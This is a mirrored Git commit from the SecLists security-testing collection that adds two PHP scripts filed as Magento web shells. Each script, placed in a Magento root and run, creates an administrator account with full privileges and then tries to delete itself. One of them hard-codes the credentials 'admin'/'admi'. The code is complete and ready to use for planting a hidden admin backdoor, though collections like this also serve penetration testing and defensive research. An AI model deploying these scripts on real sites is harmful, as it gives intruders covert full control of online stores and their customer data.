mirror of
https://github.com/danielmiessler/SecLists.git
synced 2025-04-27 17:26:29 -04:00
Add Magento webshells
This commit is contained in:
parent
75f5d656c1
commit
59a8f512af
2 changed files with 146 additions and 0 deletions
77
Web-Shells/Magento/newadmin-Inchoo.php
Normal file
77
Web-Shells/Magento/newadmin-Inchoo.php
Normal file
|
@ -0,0 +1,77 @@
|
|||
<?php
|
||||
/*
|
||||
* Create New Admin User
|
||||
* @author Ivan Weiler, Inchoo <web@inchoo.net>
|
||||
*/
|
||||
|
||||
//define USERNAME, EMAIL and PASSWORD and uncomment(#) this 3 lines
|
||||
#define('USERNAME','inchoo');
|
||||
#define('EMAIL','xyz@inchoo.net');
|
||||
#define('PASSWORD','inchoo555');
|
||||
|
||||
|
||||
if(!defined('USERNAME') || !defined('EMAIL') || !defined('PASSWORD')){
|
||||
echo 'Edit this file and define USERNAME, EMAIL and PASSWORD.';
|
||||
exit;
|
||||
}
|
||||
|
||||
//load Magento
|
||||
$mageFilename = 'app/Mage.php';
|
||||
if (!file_exists($mageFilename)) {
|
||||
echo $mageFilename." was not found";
|
||||
exit;
|
||||
}
|
||||
require_once $mageFilename;
|
||||
Mage::app();
|
||||
|
||||
try {
|
||||
//create new user
|
||||
$user = Mage::getModel('admin/user')
|
||||
->setData(array(
|
||||
'username' => USERNAME,
|
||||
'firstname' => 'John',
|
||||
'lastname' => 'Doe',
|
||||
'email' => EMAIL,
|
||||
'password' => PASSWORD,
|
||||
'is_active' => 1
|
||||
))->save();
|
||||
|
||||
} catch (Exception $e) {
|
||||
echo $e->getMessage();
|
||||
exit;
|
||||
}
|
||||
|
||||
try {
|
||||
//create new role
|
||||
$role = Mage::getModel("admin/roles")
|
||||
->setName('Inchoo')
|
||||
->setRoleType('G')
|
||||
->save();
|
||||
|
||||
//give "all" privileges to role
|
||||
Mage::getModel("admin/rules")
|
||||
->setRoleId($role->getId())
|
||||
->setResources(array("all"))
|
||||
->saveRel();
|
||||
|
||||
} catch (Mage_Core_Exception $e) {
|
||||
echo $e->getMessage();
|
||||
exit;
|
||||
} catch (Exception $e) {
|
||||
echo 'Error while saving role.';
|
||||
exit;
|
||||
}
|
||||
|
||||
try {
|
||||
//assign user to role
|
||||
$user->setRoleIds(array($role->getId()))
|
||||
->setRoleUserId($user->getUserId())
|
||||
->saveRelations();
|
||||
|
||||
} catch (Exception $e) {
|
||||
echo $e->getMessage();
|
||||
exit;
|
||||
}
|
||||
|
||||
echo 'Admin User sucessfully created!<br /><br /><b>THIS FILE WILL NOW TRY TO DELETE ITSELF, BUT PLEASE CHECK TO BE SURE!</b>';
|
||||
@unlink(__FILE__);
|
69
Web-Shells/Magento/newadmin-KINKCreative.php
Normal file
69
Web-Shells/Magento/newadmin-KINKCreative.php
Normal file
|
@ -0,0 +1,69 @@
|
|||
<?php
|
||||
|
||||
/*
|
||||
|
||||
Put this file into your root folder. Set the user settings below and run the script. It will auto-delete when done.
|
||||
|
||||
*/
|
||||
|
||||
$mageFilename = 'app/Mage.php';
|
||||
if (!file_exists($mageFilename)) {
|
||||
echo $mageFilename." was not found";
|
||||
exit;
|
||||
}
|
||||
require_once $mageFilename;
|
||||
Mage::app();
|
||||
|
||||
try {
|
||||
//create new user by providing details below
|
||||
$user = Mage::getModel('admin/user')
|
||||
->setData(array(
|
||||
'username' => 'admin',
|
||||
'firstname' => 'Admin',
|
||||
'lastname' => 'User',
|
||||
'email' => 'admin@mymagento.com',
|
||||
'password' => 'admi',
|
||||
'is_active' => 1
|
||||
))->save();
|
||||
|
||||
} catch (Exception $e) {
|
||||
echo $e->getMessage();
|
||||
exit;
|
||||
}
|
||||
|
||||
try {
|
||||
//create new role
|
||||
$role = Mage::getModel("admin/roles")
|
||||
->setName('Inchoo')
|
||||
->setRoleType('G')
|
||||
->save();
|
||||
|
||||
//give "all" privileges to role
|
||||
Mage::getModel("admin/rules")
|
||||
->setRoleId($role->getId())
|
||||
->setResources(array("all"))
|
||||
->saveRel();
|
||||
|
||||
} catch (Mage_Core_Exception $e) {
|
||||
echo $e->getMessage();
|
||||
exit;
|
||||
} catch (Exception $e) {
|
||||
echo 'Error while saving role.';
|
||||
exit;
|
||||
}
|
||||
|
||||
try {
|
||||
//assign user to role
|
||||
$user->setRoleIds(array($role->getId()))
|
||||
->setRoleUserId($user->getUserId())
|
||||
->saveRelations();
|
||||
|
||||
} catch (Exception $e) {
|
||||
echo $e->getMessage();
|
||||
exit;
|
||||
}
|
||||
|
||||
echo 'Admin User sucessfully created!';
|
||||
echo '<br /><br /><b>THIS FILE WILL NOW TRY TO DELETE ITSELF, BUT PLEASE CHECK TO BE SURE!</b>';
|
||||
@unlink(__FILE__);
|
||||
|
Loading…
Add table
Reference in a new issue